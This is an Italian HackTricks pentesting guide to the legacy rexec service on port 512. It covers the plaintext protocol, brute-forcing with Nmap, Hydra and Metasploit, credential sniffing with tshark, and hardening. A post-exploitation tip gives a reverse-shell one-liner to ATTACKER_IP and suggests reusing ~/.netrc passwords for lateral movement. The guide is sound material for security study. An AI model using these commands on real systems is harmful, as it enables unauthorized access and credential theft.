hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Informazioni di Base
Rexec (remote **exec**) è uno dei servizi originali della suite Berkeley *r* (insieme a `rlogin`, `rsh`, …). Fornisce una capacità di **esecuzione di comandi remoti** **autenticata solo con un nome utente e una password in chiaro**. Il protocollo è stato definito all'inizio degli anni '80 (vedi RFC 1060) ed è oggi considerato **insicuro per design**. Tuttavia, è ancora abilitato per impostazione predefinita in alcune attrezzature UNIX legacy / collegate in rete e appare occasionalmente durante i pentest interni.
**Porta Predefinita:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Tutto il traffico comprese le credenziali viene trasmesso **non crittografato**. Chiunque abbia la possibilità di sniffare la rete può recuperare il nome utente, la password e il comando.
### Panoramica rapida del protocollo
1. Il client si connette a TCP 512.
2. Il client invia tre stringhe **terminate da NUL**:
* il numero di porta (in ASCII) dove desidera ricevere stdout/stderr (spesso `0`),
* il **nome utente**,
* la **password**.
3. Viene inviata una stringa finale terminata da NUL con il **comando** da eseguire.
4. Il server risponde con un singolo byte di stato a 8 bit (0 = successo, `1` = fallimento) seguito dall'output del comando.
Ciò significa che puoi riprodurre lo scambio con nient'altro che `echo -e` e `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Se le credenziali sono valide, riceverai l'output di `id` direttamente sulla stessa connessione.
### Utilizzo manuale con il client
Molte distribuzioni Linux continuano a includere il client legacy all'interno del pacchetto **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Se `-p` è omesso, il client chiederà interattivamente la password (visibile sulla rete in chiaro!).
---
## Enumerazione & Brute-forcing
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
Il `rexec-brute` NSE utilizza il protocollo descritto sopra per provare le credenziali molto rapidamente.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` ha un modulo **rexec** dedicato ed è il bruteforcer offline più veloce. `medusa` (`-M REXEC`) e `ncrack` (modulo `rexec`) possono essere utilizzati allo stesso modo.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Il modulo genererà una shell al successo e memorizzerà le credenziali nel database.
---
## Sniffing delle credenziali
Poiché tutto è in chiaro, **le catture di rete sono inestimabili**. Con una copia del traffico puoi estrarre le credenziali senza toccare il bersaglio:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark abilita *Decode As …​* TCP 512 → REXEC per visualizzare i campi ben analizzati.)
---
## Suggerimenti post-sfruttamento
* I comandi vengono eseguiti con i privilegi dell'utente fornito. Se `/etc/pam.d/rexec` è configurato in modo errato (ad es. `pam_rootok`), a volte sono possibili shell di root.
* Rexec ignora la shell dell'utente ed esegue il comando tramite `/bin/sh -c <cmd>`. Puoi quindi utilizzare trucchi tipici di escape della shell (`;`, ``$( )``, backticks) per concatenare più comandi o generare shell inverse:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Le password sono spesso memorizzate in **~/.netrc** su altri sistemi; se comprometti un host, puoi riutilizzarle per il movimento laterale.
---
## Indurimento / Rilevamento
* **Non esporre rexec**; sostituiscilo con SSH. Praticamente tutti i moderni *inetd* superserver commentano il servizio per impostazione predefinita.
* Se devi mantenerlo, limita l'accesso con TCP wrappers (`/etc/hosts.allow`) o regole del firewall e applica password forti per ogni account.
* Monitora il traffico verso :512 e per i lanci del processo `rexecd`. Una singola cattura di pacchetti è sufficiente per rilevare una compromissione.
* Disabilita `rexec`, `rlogin`, `rsh` insieme condividono gran parte dello stesso codice e delle vulnerabilità.
---
## Riferimenti
* Documentazione Nmap NSE `rexec-brute` [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Modulo Metasploit di Rapid7 `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}